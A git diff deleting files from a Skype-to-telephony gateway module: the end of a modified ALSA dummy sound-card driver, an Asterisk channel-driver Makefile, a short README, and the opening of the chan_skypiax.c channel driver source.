-       .open = snd_card_dummy_capture_open,
-       .close = snd_card_dummy_capture_close,
-       .ioctl = snd_pcm_lib_ioctl,
-       .hw_params = snd_card_dummy_hw_params,
-       .hw_free = snd_card_dummy_hw_free,
-       .prepare = snd_card_dummy_pcm_prepare,
-       .trigger = snd_card_dummy_pcm_trigger,
-       .pointer = snd_card_dummy_pcm_pointer,
-};
-
-static int __devinit snd_card_dummy_pcm(struct snd_dummy *dummy, int device, int substreams)
-{
-       struct snd_pcm *pcm;
-       int err;
-
-       err = snd_pcm_new(dummy->card, "Dummy PCM", device, substreams, substreams, &pcm);
-       if (err < 0)
-               return err;
-       dummy->pcm = pcm;
-       snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_PLAYBACK, &snd_card_dummy_playback_ops);
-       snd_pcm_set_ops(pcm, SNDRV_PCM_STREAM_CAPTURE, &snd_card_dummy_capture_ops);
-       pcm->private_data = dummy;
-       pcm->info_flags = 0;
-       strcpy(pcm->name, "Dummy PCM");
-       snd_pcm_lib_preallocate_pages_for_all(pcm, SNDRV_DMA_TYPE_CONTINUOUS, snd_dma_continuous_data(GFP_KERNEL), 128 * 1024, 1024 * 1024);
-
-       return 0;
-}
-
-#define DUMMY_VOLUME(xname, xindex, addr) \
-{ .iface = SNDRV_CTL_ELEM_IFACE_MIXER, \
-  .access = SNDRV_CTL_ELEM_ACCESS_READWRITE | SNDRV_CTL_ELEM_ACCESS_TLV_READ, \
-  .name = xname, .index = xindex, \
-  .info = snd_dummy_volume_info, \
-  .get = snd_dummy_volume_get, .put = snd_dummy_volume_put, \
-  .private_value = addr, \
-  .tlv = { .p = db_scale_dummy } }
-
-static int snd_dummy_volume_info(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_info *uinfo)
-{
-       uinfo->type = SNDRV_CTL_ELEM_TYPE_INTEGER;
-       uinfo->count = 2;
-       uinfo->value.integer.min = -50;
-       uinfo->value.integer.max = 100;
-       return 0;
-}
-
-static int snd_dummy_volume_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
-{
-       struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
-       int addr = kcontrol->private_value;
-
-       if (in_irq())
-               printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
-       spin_lock_bh(&dummy->mixer_lock);
-       ucontrol->value.integer.value[0] = dummy->mixer_volume[addr][0];
-       ucontrol->value.integer.value[1] = dummy->mixer_volume[addr][1];
-       spin_unlock_bh(&dummy->mixer_lock);
-       return 0;
-}
-
-static int snd_dummy_volume_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
-{
-       struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
-       int change, addr = kcontrol->private_value;
-       int left, right;
-
-       if (in_irq())
-               printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
-       left = ucontrol->value.integer.value[0];
-       if (left < -50)
-               left = -50;
-       if (left > 100)
-               left = 100;
-       right = ucontrol->value.integer.value[1];
-       if (right < -50)
-               right = -50;
-       if (right > 100)
-               right = 100;
-       spin_lock_bh(&dummy->mixer_lock);
-       change = dummy->mixer_volume[addr][0] != left || dummy->mixer_volume[addr][1] != right;
-       dummy->mixer_volume[addr][0] = left;
-       dummy->mixer_volume[addr][1] = right;
-       spin_unlock_bh(&dummy->mixer_lock);
-       return change;
-}
-
-static const DECLARE_TLV_DB_SCALE(db_scale_dummy, -4500, 30, 0);
-
-#define DUMMY_CAPSRC(xname, xindex, addr) \
-{ .iface = SNDRV_CTL_ELEM_IFACE_MIXER, .name = xname, .index = xindex, \
-  .info = snd_dummy_capsrc_info, \
-  .get = snd_dummy_capsrc_get, .put = snd_dummy_capsrc_put, \
-  .private_value = addr }
-
-#define snd_dummy_capsrc_info  snd_ctl_boolean_stereo_info
-
-static int snd_dummy_capsrc_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
-{
-       struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
-       int addr = kcontrol->private_value;
-
-       if (in_irq())
-               printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
-       spin_lock_bh(&dummy->mixer_lock);
-       ucontrol->value.integer.value[0] = dummy->capture_source[addr][0];
-       ucontrol->value.integer.value[1] = dummy->capture_source[addr][1];
-       spin_unlock_bh(&dummy->mixer_lock);
-       return 0;
-}
-
-static int snd_dummy_capsrc_put(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol)
-{
-       struct snd_dummy *dummy = snd_kcontrol_chip(kcontrol);
-       int change, addr = kcontrol->private_value;
-       int left, right;
-
-       if (in_irq())
-               printk("giova: line %d we are in HARDWARE IRQ\n", __LINE__);
-       left = ucontrol->value.integer.value[0] & 1;
-       right = ucontrol->value.integer.value[1] & 1;
-       spin_lock_bh(&dummy->mixer_lock);
-       change = dummy->capture_source[addr][0] != left && dummy->capture_source[addr][1] != right;
-       dummy->capture_source[addr][0] = left;
-       dummy->capture_source[addr][1] = right;
-       spin_unlock_bh(&dummy->mixer_lock);
-       return change;
-}
-
-static struct snd_kcontrol_new snd_dummy_controls[] = {
-       DUMMY_VOLUME("Master Volume", 0, MIXER_ADDR_MASTER),
-       DUMMY_CAPSRC("Master Capture Switch", 0, MIXER_ADDR_MASTER),
-       DUMMY_VOLUME("Synth Volume", 0, MIXER_ADDR_SYNTH),
-       DUMMY_CAPSRC("Synth Capture Switch", 0, MIXER_ADDR_SYNTH),
-       DUMMY_VOLUME("Line Volume", 0, MIXER_ADDR_LINE),
-       DUMMY_CAPSRC("Line Capture Switch", 0, MIXER_ADDR_LINE),
-       DUMMY_VOLUME("Mic Volume", 0, MIXER_ADDR_MIC),
-       DUMMY_CAPSRC("Mic Capture Switch", 0, MIXER_ADDR_MIC),
-       DUMMY_VOLUME("CD Volume", 0, MIXER_ADDR_CD),
-       DUMMY_CAPSRC("CD Capture Switch", 0, MIXER_ADDR_CD)
-};
-
-static int __devinit snd_card_dummy_new_mixer(struct snd_dummy *dummy)
-{
-       struct snd_card *card = dummy->card;
-       unsigned int idx;
-       int err;
-
-       spin_lock_init(&dummy->mixer_lock);
-       strcpy(card->mixername, "Dummy Mixer");
-       return 0;                                       //giova no mixer
-
-       for (idx = 0; idx < ARRAY_SIZE(snd_dummy_controls); idx++) {
-               err = snd_ctl_add(card, snd_ctl_new1(&snd_dummy_controls[idx], dummy));
-               if (err < 0)
-                       return err;
-       }
-       return 0;
-}
-
-static int __devinit snd_dummy_probe(struct platform_device *devptr)
-{
-       struct snd_card *card;
-       struct snd_dummy *dummy;
-       int idx, err;
-       int dev = devptr->id;
-
-       card = snd_card_new(index[dev], id[dev], THIS_MODULE, sizeof(struct snd_dummy)); //giova if this gives you problems, comment it out and remove comment from the 4 lines commented below
-       if (card == NULL) //giova if this gives you problems, comment it out and remove comment from the 4 lines commented below
-               return -ENOMEM; //giova if this gives you problems, comment it out and remove comment from the 4 lines commented below
-
-       //giova err = snd_card_create(index[dev], id[dev], THIS_MODULE,
-       //giova sizeof(struct snd_dummy), &card);
-       //giova if (err < 0)
-       //giova return err;
-
-       dummy = card->private_data;
-       dummy->card = card;
-       for (idx = 0; idx < MAX_PCM_DEVICES && idx < pcm_devs[dev]; idx++) {
-               if (pcm_substreams[dev] < 1)
-                       pcm_substreams[dev] = 1;
-               if (pcm_substreams[dev] > MAX_PCM_SUBSTREAMS)
-                       pcm_substreams[dev] = MAX_PCM_SUBSTREAMS;
-               err = snd_card_dummy_pcm(dummy, idx, pcm_substreams[dev]);
-               if (err < 0)
-                       goto __nodev;
-       }
-       err = snd_card_dummy_new_mixer(dummy);
-       if (err < 0)
-               goto __nodev;
-       strcpy(card->driver, "Dummy");
-       strcpy(card->shortname, "Dummy");
-       sprintf(card->longname, "Dummy %i", dev + 1);
-
-       snd_card_set_dev(card, &devptr->dev);
-
-       err = snd_card_register(card);
-       if (err == 0) {
-               platform_set_drvdata(devptr, card);
-               return 0;
-       }
-  __nodev:
-       snd_card_free(card);
-       return err;
-}
-
-static int __devexit snd_dummy_remove(struct platform_device *devptr)
-{
-
-       del_timer(&giovatimer);
-       snd_card_free(platform_get_drvdata(devptr));
-       platform_set_drvdata(devptr, NULL);
-       return 0;
-}
-
-#ifdef CONFIG_PM
-static int snd_dummy_suspend(struct platform_device *pdev, pm_message_t state)
-{
-       struct snd_card *card = platform_get_drvdata(pdev);
-       struct snd_dummy *dummy = card->private_data;
-
-       snd_power_change_state(card, SNDRV_CTL_POWER_D3hot);
-       snd_pcm_suspend_all(dummy->pcm);
-       return 0;
-}
-
-static int snd_dummy_resume(struct platform_device *pdev)
-{
-       struct snd_card *card = platform_get_drvdata(pdev);
-
-       snd_power_change_state(card, SNDRV_CTL_POWER_D0);
-       return 0;
-}
-#endif
-
-#define SND_DUMMY_DRIVER       "snd_dummy"
-
-static struct platform_driver snd_dummy_driver = {
-       .probe = snd_dummy_probe,
-       .remove = __devexit_p(snd_dummy_remove),
-#ifdef CONFIG_PM
-       .suspend = snd_dummy_suspend,
-       .resume = snd_dummy_resume,
-#endif
-       .driver = {
-                          .name = SND_DUMMY_DRIVER},
-};
-
-static void snd_dummy_unregister_all(void)
-{
-       int i;
-
-       for (i = 0; i < ARRAY_SIZE(devices); ++i)
-               platform_device_unregister(devices[i]);
-       platform_driver_unregister(&snd_dummy_driver);
-}
-
-static int __init alsa_card_dummy_init(void)
-{
-       int i, cards, err;
-
-       err = platform_driver_register(&snd_dummy_driver);
-       if (err < 0)
-               return err;
-
-       if (!giovastarted) {
-               giovastarted = 1;
-               spin_lock_init(&giovalock);
-
-               spin_lock_bh(&giovalock);
-               for (i = 0; i < MAX_PCM_SUBSTREAMS; i++) {
-
-                       if (i > MAX_PCM_SUBSTREAMS || giovaindex > MAX_PCM_SUBSTREAMS) {
-                               printk("giova, %s:%d, i=%d, giovaindex=%d \n", __FILE__, __LINE__, i, giovaindex);
-                       }
-                       giovadpcms[i].substream = NULL;
-                       giovadpcms[i].dpcm = NULL;
-                       giovadpcms[i].started = 0;
-               }
-               init_timer(&giovatimer);
-               giovatimer.data = (unsigned long) &giovadpcms;
-               giovatimer.function = snd_card_dummy_pcm_timer_function;
-               giovatimer.expires = 1 + jiffies;
-               add_timer(&giovatimer);
-               printk("snd-dummy skypopen driver version: 3, %s:%d working on a machine with %dHZ kernel\n", __FILE__, __LINE__, HZ);
-               spin_unlock_bh(&giovalock);
-       }
-
-
-       cards = 0;
-       for (i = 0; i < SNDRV_CARDS; i++) {
-               struct platform_device *device;
-               if (!enable[i])
-                       continue;
-               device = platform_device_register_simple(SND_DUMMY_DRIVER, i, NULL, 0);
-               if (IS_ERR(device))
-                       continue;
-               if (!platform_get_drvdata(device)) {
-                       platform_device_unregister(device);
-                       continue;
-               }
-               devices[i] = device;
-               cards++;
-       }
-       if (!cards) {
-#ifdef MODULE
-               printk(KERN_ERR "Dummy soundcard not found or device busy\n");
-#endif
-               snd_dummy_unregister_all();
-               return -ENODEV;
-       }
-       return 0;
-}
-
-static void __exit alsa_card_dummy_exit(void)
-{
-       del_timer(&giovatimer);
-       snd_dummy_unregister_all();
-}
-
-module_init(alsa_card_dummy_init)
-       module_exit(alsa_card_dummy_exit)
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/Makefile b/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/Makefile
deleted file mode 100644 (file)
index 86aab91..0000000
+++ /dev/null
@@ -1,93 +0,0 @@
-#
-# Asterisk -- A telephony toolkit for Linux.
-# 
-# Makefile for channel drivers
-#
-# Copyright (C) 1999-2005, Mark Spencer
-#
-# Mark Spencer <markster@digium.com>
-#
-# Edited By Belgarath <> Aug 28 2004
-# Added bare bones ultrasparc-linux support.
-#
-# This program is free software, distributed under the terms of
-# the GNU General Public License
-#
-
-#ASTERISK INCLUDE FILES
-#The directory that contains the Asterisk include files (eg: /usr/include or /usr/include/asterisk or /usr/src/asterisk/include or ...)
-#AST_INCLUDE_DIR=/usr/src/asterisk/include
-#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_trunk/include
-#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_branches_160/include
-#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_branches_12/include
-#AST_INCLUDE_DIR=/home/maruzz/devel/svn_asterisk_branches_14/include
-#AST_INCLUDE_DIR=/home/maruzz/devel/svn_celliax_trunk/asterisk-1.2.rev137401/include
-AST_INCLUDE_DIR=/home/user/devel/asterisk-1.4.23.1/include
-
-#ASTERISK
-CFLAGS+=-DASTERISK
-
-#ASTERISK VERSION
-#Uncomment one of the following lines to match your Asterisk series
-CFLAGS+=-DASTERISK_VERSION_1_4
-#CFLAGS+=-DASTERISK_VERSION_1_6
-#CFLAGS+=-DASTERISK_VERSION_1_2
-
-#LINUX SKYPE SUPPORT (Celliax for Cygwin always supports Skype)
-SKYPE_LIB=-L/usr/X11R6/lib -lX11
-
-CFLAGS+=-pipe -Wall -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations
-CFLAGS+=-g3
-
-
-
-CFLAGS+=-I$(AST_INCLUDE_DIR) -I.
-CFLAGS+=-D_REENTRANT -D_GNU_SOURCE
-#CFLAGS+=-O6
-CFLAGS+=-march=i686
-CFLAGS+=-fomit-frame-pointer
-ifeq ($(shell uname -m),x86_64)
-CFLAGS+=-fPIC
-endif
-
-SVNDEF := -D'SKYPIAX_SVN_VERSION="$(shell svnversion -n ..)"'
-CFLAGS += $(SVNDEF)
-
-
-SOLINK=-shared -Xlinker -x 
-CHANNEL_LIBS=chan_skypiax.so
-CC=gcc
-
-OSARCH=$(shell uname -s)
-
-ifeq ($(findstring CYGWIN,$(OSARCH)),CYGWIN)
-# definition of pthread_kill as a printf (or as a noop) is required for Asterisk (and skypiax) to run on Cygwin
-# without it, each time (often) pthread_kill is called (by any thread, with any signal, URG included), bad things happen 
-CC=gcc -D pthread_kill=cyg_no_pthreadkill
-AST_DLL_DIR=/home/maruzz/devel/svn_asterisk_branches_12
-CYGSOLINK=-Wl,--out-implib=lib$@.a -Wl,--export-all-symbols cyg_no_pthread_kill.o
-CYGSOLIB=-L/usr/lib/w32api -lrpcrt4 -L/lib/mingw -lwinmm -L$(AST_DLL_DIR) -lasterisk.dll -L$(AST_DLL_DIR)/res -lres_features.so 
-SKYPE_LIB=
-CHANNEL_LIBS=cyg_no_pthread_kill.o chan_skypiax.so
-endif
-
-all: $(CHANNEL_LIBS) 
-
-clean:
-       rm -f *.so *.o *.so.a
-
-
-#chan_skypiax section begins
-
-#to debug threads and lock on 1.4 uncomment the following
-#CFLAGS+=-include /usr/src/asterisk/include/asterisk/autoconfig.h  
-
-
-cyg_no_pthread_kill.o: cyg_no_pthread_kill.c
-       $(CC) $(CFLAGS) -c -o cyg_no_pthread_kill.o cyg_no_pthread_kill.c
-chan_skypiax.o: chan_skypiax.c
-       $(CC) $(CFLAGS) -c -o chan_skypiax.o chan_skypiax.c
-chan_skypiax.so: chan_skypiax.o skypiax_protocol.o
-       $(CC) $(SOLINK) -o $@ ${CYGSOLINK} chan_skypiax.o skypiax_protocol.o -lm -ldl $(SKYPE_LIB) ${CYGSOLIB}
-#chan_skypiax section ends
-
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/README b/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/README
deleted file mode 100644 (file)
index a3d352e..0000000
+++ /dev/null
@@ -1 +0,0 @@
-Skypopen for asterisk does not work yet.
diff --git a/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/chan_skypiax.c b/src/mod/endpoints/mod_skypopen/mod_skypopen/asterisk/chan_skypiax.c
deleted file mode 100644 (file)
index 1759ab0..0000000
+++ /dev/null
@@ -1,2315 +0,0 @@
-//indent -gnu -ts4 -br -brs -cdw -lp -ce -nbfda -npcs -nprs -npsl -nbbo -saf -sai -saw -cs -bbo -nhnl -nut -sob -l90 
-#include "skypiax.h"
-
-/* LOCKS */
-/*! \brief Protect the skypiax_usecnt */
-AST_MUTEX_DEFINE_STATIC(skypiax_usecnt_lock);
-/*! \brief Protect the monitoring thread, so only one process can kill or start it, and not
- *    when it's doing something critical. */
-AST_MUTEX_DEFINE_STATIC(skypiax_monlock);
-/*! \brief Protect the interfaces list */
-AST_MUTEX_DEFINE_STATIC(skypiax_iflock);
-
-/* GLOBAL VARIABLES */
-int running = 1;
-int skypiax_dir_entry_extension = 1;   //FIXME one var for each interface!
-char skypiax_console_active_array[50] = "";
-char *skypiax_console_active = skypiax_console_active_array;
-/*! \brief Count of active channels for this module */
-int skypiax_usecnt = 0;
-int skypiax_debug = 0;
-/*! \brief This is the thread for the monitor which checks for input on the channels
- *    which are not currently in use.  */
-pthread_t skypiax_monitor_thread = AST_PTHREADT_NULL;
-pthread_t skypiax_monitor_audio_thread = AST_PTHREADT_NULL;
-
-/* CONSTANTS */
-/*! \brief Textual description for this module */
-const char skypiax_desc[] = "Skypiax, Skype Driver";
-/*! \brief Textual type for this module */
-const char skypiax_type[] = "Skypiax";
-/*! \brief Name of configuration file for this module */
-const char skypiax_config[] = "skypiax.conf";
-
-char skypiax_console_skypiax_usage[] =
-       "       \n" "chan_skypiax commands info\n" "       \n"
-       "       chan_skypiax adds to Asterisk the following CLI commands:\n" "       \n"
-       "       CLI COMMANDS:\n" "          skypiax_hangup\n" "          skypiax_dial\n"
-       "          skypiax_console\n" "          skypiax_playback_boost\n"
-       "          skypiax_capture_boost\n" "          skypiax_skype\n"
-       "          skypiax_dir_import\n" "\n" "       You can type 'help [command]' to obtain more specific info on usage.\n" "       \n";
-char skypiax_console_hangup_usage[] =
-       "Usage: skypiax_hangup\n"
-       "       Hangs up any call currently placed on the \"current\" skypiax_console (Skypiax) channel.\n"
-       "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
-char skypiax_console_playback_boost_usage[] =
-       "Usage: skypiax_playback_boost [value]\n"
-       "       Shows or set the value of boost applied to the outgoing sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the  \"current\" skypiax_console (Skypiax) channel.\n"
-       "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
-char skypiax_console_capture_boost_usage[] =
-       "Usage: skypiax_capture_boost [value]\n"
-       "       Shows or set the value of boost applied to the incoming sound (voice). Possible values are: 0 (no boost applied), -40 to 40 (negative to positive range, in db). Without specifying a value, it just shows the current value. The value is for the  \"current\" skypiax_console (Skypiax) channel.\n"
-       "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
-
-char skypiax_console_dial_usage[] =
-       "Usage: skypiax_dial [DTMFs]\n"
-       "       Dials a given DTMF string in the call currently placed on the\n"
-       "       \"current\" skypiax_console (Skypiax) channel.\n" "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
-
-char skypiax_console_skypiax_console_usage[] =
-       "Usage: skypiax_console [interface] | [show]\n"
-       "       If used without a parameter, displays which interface is the \"current\"\n"
-       "       skypiax_console.  If a device is specified, the \"current\" skypiax_console is changed to\n"
-       "       the interface specified.\n" "       If the parameter is \"show\", the available interfaces are listed\n";
-
-char skypiax_console_skype_usage[] =
-       "Usage: skypiax_skype [command string]\n"
-       "       Send the 'command string' skype_msg to the Skype client connected to the  \"current\" skypiax_console (Skypiax) channel.\n"
-       "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
-
-char skypiax_console_skypiax_dir_import_usage[] =
-       "Usage: skypiax_dir_import [add | replace]\n"
-       "       Write in the directoriax.conf config file all the entries found in 'Contacts' list of the Skype client connected to the \"current\" skypiax_console.\n"
-       "       You can choose between 'add' to the end of the directoriax.conf file, or 'replace' the whole file with this new content.\n"
-       "       Enter 'help skypiax_console' on how to change the \"current\" skypiax_console\n";
-
-/*! \brief Definition of this channel for PBX channel registration */
-const struct ast_channel_tech skypiax_tech = {
-       .type = skypiax_type,
-       .description = skypiax_desc,
-       .capabilities = AST_FORMAT_SLINEAR,
-       .requester = skypiax_request,
-       .hangup = skypiax_hangup,
-       .answer = skypiax_answer,
-       .read = skypiax_read,
-       .call = skypiax_originate_call,
-       .write = skypiax_write,
-       .indicate = skypiax_indicate,
-       .fixup = skypiax_fixup,
-       .devicestate = skypiax_devicestate,
-#ifdef ASTERISK_VERSION_1_4
-       .send_digit_begin = skypiax_digitsend_begin,
-       .send_digit_end = skypiax_digitsend_end,
-#else /* ASTERISK_VERSION_1_4 */
-       .send_digit = skypiax_digitsend,
-#endif /* ASTERISK_VERSION_1_4 */
-};
-
-/*! \brief fake skypiax_pvt structure values, 
- * just for logging purposes */
-struct skypiax_pvt skypiax_log_struct = {
-       .name = "none",
-};
-
-/*! \brief Default skypiax_pvt structure values, 
- * used by skypiax_mkif to initialize the interfaces */
-struct skypiax_pvt skypiax_default = {
-       .interface_state = SKYPIAX_STATE_DOWN,
-       .skype_callflow = 0,
-       .context = "default",
-       .language = "en",
-       .exten = "s",
-       .next = NULL,
-       .owner = NULL,
-       .controldev_thread = AST_PTHREADT_NULL,
-       .skypiax_sound_rate = 8000,
-       .skypiax_sound_capt_fd = -1,
-       .capture_boost = 0,
-       .playback_boost = 0,
-       .stripmsd = 0,
-       .skype = 0,
-       .skypiax_dir_entry_extension_prefix = 6,
-};
-
-/*! 
- * \brief PVT structure for a skypiax interface (channel), created by skypiax_mkif
- */
-struct skypiax_pvt *skypiax_iflist = NULL;
-
-#ifdef ASTERISK_VERSION_1_6
-struct ast_cli_entry myclis[] = {
-/* 
- * CLI do not works since some time on 1.6, they changed the CLI mechanism
- */
-#if 0
-       AST_CLI_DEFINE(skypiax_console_hangup, "Hangup a call on the console"),
-       AST_CLI_DEFINE(skypiax_console_dial, "Dial an extension on the console"),
-       AST_CLI_DEFINE(skypiax_console_playback_boost, "Sets/displays spk boost in dB"),
-       AST_CLI_DEFINE(skypiax_console_capture_boost, "Sets/displays mic boost in dB"),
-       AST_CLI_DEFINE(skypiax_console_set_active, "Sets/displays active console"),
-       AST_CLI_DEFINE(skypiax_console_skype, "Sends a Skype command"),
-       AST_CLI_DEFINE(skypiax_console_skypiax_dir_import, "imports entries from cellphone"),
-       AST_CLI_DEFINE(skypiax_console_skypiax, "all things skypiax"),
-#endif
-};
-#else
-struct ast_cli_entry myclis[] = {
-       {{"skypiax_hangup", NULL}, skypiax_console_hangup,
-        "Hangup a call on the skypiax_console",
-        skypiax_console_hangup_usage},
-       {{"skypiax_playback_boost", NULL}, skypiax_console_playback_boost, "playback boost",
-        skypiax_console_playback_boost_usage},
-       {{"skypiax_capture_boost", NULL}, skypiax_console_capture_boost, "capture boost",
-        skypiax_console_capture_boost_usage},
-       {{"skypiax_usage", NULL}, skypiax_console_skypiax, "chan_skypiax commands info",
-        skypiax_console_skypiax_usage},
-       {{"skypiax_skype", NULL}, skypiax_console_skype, "Skype msg",
-        skypiax_console_skype_usage},
-       {{"skypiax_dial", NULL}, skypiax_console_dial,
-        "Dial an extension on the skypiax_console",
-        skypiax_console_dial_usage},
-       {{"skypiax_console", NULL}, skypiax_console_set_active,
-        "Sets/displays active skypiax_console",
-        skypiax_console_skypiax_console_usage},
-       {{"skypiax_dir_import", NULL}, skypiax_console_skypiax_dir_import,
-        "Write the directoriax.conf file, used by directoriax app",
-        skypiax_console_skypiax_dir_import_usage},
-};
-#endif
-
-/* IMPLEMENTATION */
-
-void skypiax_unlocka_log(void *x)
-{
-       ast_mutex_t *y;
-       y = x;
-       int i;
-
-       for (i = 0; i < 5; i++) {       //let's be generous
-
-               ast_log(LOG_DEBUG,
-                               SKYPIAX_SVN_VERSION
-                               "[%-7lx] I'm a dying thread, and I'm to go unlocking mutex %p for the %dth time\n", (unsigned long int) pthread_self(), y, i);
-
-               ast_mutex_unlock(y);
-       }
-       ast_log(LOG_DEBUG, SKYPIAX_SVN_VERSION "[%-7lx] I'm a dying thread, I've finished unlocking mutex %p\n", (unsigned long int) pthread_self(), y);
-}
-
-int skypiax_queue_control(struct ast_channel *c, int control)
-{
-       struct skypiax_pvt *p = c->tech_pvt;
-
-/* queue the frame */
-       if (p)
-               p->control_to_send = control;
-       else {
-               return 0;
-       }
-       DEBUGA_PBX("Queued CONTROL FRAME %d\n", SKYPIAX_P_LOG, control);
-
-/* wait for the frame to be sent */
-       while (p->control_to_send)
-               usleep(1);
-
-       return 0;
-}
-
-int skypiax_devicestate(void *data)
-{
-       struct skypiax_pvt *p = NULL;
-       char *name = data;
-       int res = AST_DEVICE_INVALID;
-
-       if (!data) {
-               ERRORA("Devicestate requested with no data\n", SKYPIAX_P_LOG);
-               return res;
-       }
-
-       /* lock the interfaces' list */
-       LOKKA(&skypiax_iflock);
-       /* make a pointer to the first interface in the interfaces list */
-       p = skypiax_iflist;
-       /* Search for the requested interface and verify if is unowned */
-       while (p) {
-               size_t length = strlen(p->name);
-               /* is this the requested interface? */
-               if (strncmp(name, p->name, length) == 0) {
-                       /* is this interface unowned? */
-                       if (!p->owner) {
-                               res = AST_DEVICE_NOT_INUSE;
-                               DEBUGA_PBX("Interface is NOT OWNED by a channel\n", SKYPIAX_P_LOG);
-                       } else {
-                               /* interface owned by a channel */
-                               res = AST_DEVICE_INUSE;
-                               DEBUGA_PBX("Interface is OWNED by a channel\n", SKYPIAX_P_LOG);
-                       }
-
-                       /* we found the requested interface, bail out from the while loop */
-                       break;
-               }
-               /* not yet found, next please */
-               p = p->next;
-       }
-       /* unlock the interfaces' list */
-       UNLOCKA(&skypiax_iflock);
-
-       if (res == AST_DEVICE_INVALID) {
-               ERRORA("Checking device state for interface [%s] returning AST_DEVICE_INVALID\n", SKYPIAX_P_LOG, name);
-       }
-       return res;
-}
-
-#ifndef ASTERISK_VERSION_1_4
-int skypiax_indicate(struct ast_channel *c, int cond)
-#else
-int skypiax_indicate(struct ast_channel *c, int cond, const void *data, size_t datalen)
-#endif
-{
-       struct skypiax_pvt *p = c->tech_pvt;
-       int res = 0;
-
-       NOTICA("Let's INDICATE %d\n", SKYPIAX_P_LOG, cond);
-
-       switch (cond) {
-       case AST_CONTROL_BUSY:
-       case AST_CONTROL_CONGESTION:
-       case AST_CONTROL_RINGING:
-       case -1:
-               res = -1;                               /* Ask for inband indications */
-               break;
-       case AST_CONTROL_PROGRESS:
-       case AST_CONTROL_PROCEEDING:
-       case AST_CONTROL_VIDUPDATE:
-       case AST_CONTROL_HOLD:
-       case AST_CONTROL_UNHOLD:
-#ifdef ASTERISK_VERSION_1_4
-       case AST_CONTROL_SRCUPDATE:
-#endif /* ASTERISK_VERSION_1_4 */
-               break;
-       default:
-               WARNINGA("Don't know how to display condition %d on %s\n", SKYPIAX_P_LOG, cond, c->name);
-               /* The core will play inband indications for us if appropriate */
-               res = -1;
-       }
-
-       return res;
-}
-
-/*! \brief PBX interface function -build skypiax pvt structure 
- *         skypiax calls initiated by the PBX arrive here */
-struct ast_channel *skypiax_request(const char *type, int format, void *data, int *cause)
-{
-       struct skypiax_pvt *p = NULL;
-       struct ast_channel *tmp = NULL;
-       char *name = data;
-       int found = 0;
-
-       DEBUGA_PBX("Try to request type: %s, name: %s, cause: %d," " format: %d\n", SKYPIAX_P_LOG, type, name, *cause, format);
-
-       if (!data) {
-               ERRORA("Channel requested with no data\n", SKYPIAX_P_LOG);
-               return NULL;
-       }
-
-       char interface[256];
-       int i;
-       memset(interface, '\0', sizeof(interface));
-
-       for (i = 0; i < sizeof(interface); i++) {
-               if (name[i] == '/')
-                       break;
-               interface[i] = name[i];
-       }
-       /* lock the interfaces' list */
-       LOKKA(&skypiax_iflock);
-       /* make a pointer to the first interface in the interfaces list */
-       p = skypiax_iflist;
-
-       if (strcmp("ANY", interface) == 0) {
-               /* we've been asked for the "ANY" interface, let's find the first idle interface */
-               DEBUGA_SKYPE("Finding one available skype interface\n", SKYPIAX_P_LOG);
-               p = find_available_skypiax_interface();
-               if (p) {
-                       found = 1;
-
-                       /* create a new channel owning this interface */
-                       tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
-                       if (!tmp) {
-                               /* the channel was not created, probable memory allocation error */
-                               *cause = AST_CAUSE_SWITCH_CONGESTION;
-                       }
-
-               }
-
-       }
-
-       /* Search for the requested interface and verify if is unowned and format compatible */
-       while (p && !found) {
-               //size_t length = strlen(p->name);
-               /* is this the requested interface? */
-               if (strcmp(interface, p->name) == 0) {
-                       /* is the requested format supported by this interface? */
-                       if ((format & AST_FORMAT_SLINEAR) != 0) {
-                               /* is this interface unowned? */
-                               if (!p->owner) {
-                                       DEBUGA_PBX("Requesting: %s, name: %s, format: %d\n", SKYPIAX_P_LOG, type, name, format);
-                                       /* create a new channel owning this interface */
-                                       tmp = skypiax_new(p, SKYPIAX_STATE_DOWN, p->context);
-                                       if (!tmp) {
-                                               /* the channel was not created, probable memory allocation error */
-                                               *cause = AST_CAUSE_SWITCH_CONGESTION;
-                                       }
-                               } else {
-                                       /* interface owned by another channel */
-                                       WARNINGA("owned by another channel\n", SKYPIAX_P_LOG);
-                                       *cause = AST_CAUSE_REQUESTED_CHAN_UNAVAIL;
-                               }
-                       } else {
-                               /* requested format not supported */
-                               WARNINGA("format %d not supported\n", SKYPIAX_P_LOG, format);
-                               *cause = AST_CAUSE_BEARERCAPABILITY_NOTAVAIL;
-                       }
-                       /* we found the requested interface, bail out from the while loop */
-                       break;
-               }
-               /* not yet found, next please */
-               p = p->next;
-       }
-       /* unlock the interfaces' list */
-       UNLOCKA(&skypiax_iflock);
-       /* restart the monitor so it will watch only the remaining unowned interfaces  */
-       skypiax_restart_monitor();
-       if (tmp == NULL) {
-               /* new channel was not created */
-               WARNINGA("Unable to create new Skypiax channel %s\n", SKYPIAX_P_LOG, name);
-       }
-       /* return the newly created channel */
